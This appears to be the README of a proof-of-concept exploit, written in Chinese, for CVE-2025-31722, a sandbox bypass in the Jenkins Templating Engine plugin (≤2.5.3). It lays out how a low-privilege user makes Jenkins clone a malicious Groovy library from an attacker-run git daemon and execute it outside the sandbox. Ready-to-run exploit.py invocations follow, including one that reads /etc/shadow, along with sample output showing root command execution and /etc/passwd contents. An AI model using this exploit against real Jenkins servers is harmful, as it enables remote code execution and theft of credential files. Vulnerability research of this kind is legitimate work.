仅供教育和授权安全研究使用。
绕过 Jenkins Templating Engine (JTE) 插件 <= 2.5.3 的沙箱漏洞,允许低权限用户在 Jenkins 服务器上执行任意代码。
该缺陷的发生是由于 JTE 从文件夹级 GovernanceTier 配置中定义的外部 git 仓库加载库,并在 Groovy 沙箱之外执行这些库中的步骤,无论创建作业的用户权限级别如何。
CVSS: 8.8(高危)
类型: 沙箱绕过 → RCE
受影响组件: pipeline-templating-engine 插件 ≤ 2.5.3
修复版本: 2.5.4+
攻击者 (Kali) Jenkins 服务器
─────────────── ──────────────
1. 创建包含 evil.groovy 的 git 仓库
2. 在 :9418 启动 git daemon
3. 在 Jenkins 中创建文件夹 → 带 GovernanceTier 的文件夹
指向 git://KALI:9418/… 指向攻击者的仓库
4. 使用 AdHoc 模板创建作业 → 作业调用 evil()
5. 触发构建 → JTE 从 Kali 克隆仓库
在沙箱外执行 evil()
← 以 Jenkins 用户身份执行 RCE
cloudbees-folder、git、workflow-aggregatorItem/READ、Item/CREATE、Item/CONFIGURE、Item/BUILD 权限的 attacker 用户gitrequestspip install requests
在 Debian/Ubuntu 服务器上进行的安装已安装 Jenkins、配置用户、权限和所需插件。它不创建任何恶意内容——这完全由 PoC 处理。
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
setup_repo() — 在 Kali 上创建 ~/jte-exploit/evil-lib/steps/evil.groovy,包含要执行的命令start_git_daemon() — 在 Kali 上启动端口 9418 的 git daemoncreate_folder() — 在 Jenkins 中创建一个文件夹,其 GovernanceTier 指向 git://KALI:9418/jte-exploitcreate_job() — 使用 AdHocTemplateFlowDefinition 创建作业,声明 evil-lib 并调用 evil()trigger_and_wait() — 触发构建并等待结果print_output() — 显示包含 RCE 结果的控制台输出git daemon 在整个构建周期内保持活动状态,并在构建完成后自动终止。
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
目标 : http://10.211.55.10:8080
Git 主机: 10.211.55.7
命令 : id && hostname && cat /etc/passwd
=================================================================
[+] 已验证身份: attacker (id=attacker)
[+] 仓库已创建: /root/jte-exploit
[+] 恶意步骤: evil-lib/steps/evil.groovy
[+] Git daemon 运行于 git://10.211.55.7:9418/jte-exploit
[+] 文件夹已创建
[+] 作业已创建
[+] 构建已排队
=================================================================
CVE-2025-31722 — RCE 输出
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE 和 Item/CONFIGURE 权限限制给受信任用户GovernanceTier 配置的文件夹法律免责声明: 本 PoC 仅用于教育目的和在受控环境中进行测试。在未经明确授权的情况下将其用于系统是违法的。
| 参数 | 描述 | 必需 |
|---|
--url | Jenkins 基础 URL | 是 |
--user | 具有 Item/CREATE+CONFIGURE+BUILD 权限的用户 | 是 |
--pass | 用户密码 | 是 |
--git-host | Jenkins 可访问的 Kali IP | 是 |
--cmd | 在服务器上执行的命令(默认:id && hostname && cat /etc/passwd) | 否 |
--cleanup | 删除由利用程序创建的文件夹、作业和仓库 | 否 |